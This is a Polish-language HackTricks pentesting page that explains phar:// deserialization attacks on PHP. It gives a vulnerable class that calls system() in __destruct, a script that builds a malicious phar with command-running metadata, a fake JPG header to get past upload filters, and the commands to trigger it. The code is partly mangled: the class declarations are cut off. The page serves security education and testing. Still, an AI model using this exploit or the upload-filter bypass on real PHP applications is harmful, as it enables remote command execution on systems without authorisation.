# phar:// deserialization {{#include ../../banners/hacktricks-training.md}} **Pliki Phar** (PHP Archive) **zawierają metadane w zserializowanym formacie**, więc, gdy są analizowane, te **metadane** są **deserializowane** i możesz spróbować wykorzystać lukę **deserializacji** w kodzie **PHP**. Najlepsze w tej cesze jest to, że ta deserializacja wystąpi nawet przy użyciu funkcji PHP, które nie wykonują kodu PHP, takich jak **file_get_contents(), fopen(), file() lub file_exists(), md5_file(), filemtime() lub filesize()**. Wyobraź sobie sytuację, w której możesz sprawić, że PHP web uzyska rozmiar dowolnego pliku za pomocą protokołu **`phar://`**, a w kodzie znajdziesz **klasę** podobną do poniższej: ```php:vunl.php data = $data; } function __destruct() { system($this->data); } } filesize("phar://test.phar"); #The attacker can control this path ``` Możesz stworzyć plik **phar**, który po załadowaniu **wykorzysta tę klasę do wykonania dowolnych poleceń** za pomocą czegoś takiego: ```php:create_phar.php data = $data; } function __destruct() { system($this->data); } } // create new Phar $phar = new Phar('test.phar'); $phar->startBuffering(); $phar->addFromString('test.txt', 'text'); $phar->setStub("\xff\xd8\xff\n"); // add object of any class as meta data $object = new AnyClass('whoami'); $phar->setMetadata($object); $phar->stopBuffering(); ``` Zauważ, jak **magiczne bajty JPG** (`\xff\xd8\xff`) są dodawane na początku pliku phar, aby **obejść** **możliwe** ograniczenia **przesyłania** **plików**.\ **Skompiluj** plik `test.phar` za pomocą: ```bash php --define phar.readonly=0 create_phar.php ``` I wykonaj polecenie `whoami`, nadużywając podatnego kodu za pomocą: ```bash php vuln.php ``` ### Odniesienia {{#ref}} https://blog.ripstech.com/2018/new-php-exploitation-technique/ {{#endref}} {{#include ../../banners/hacktricks-training.md}}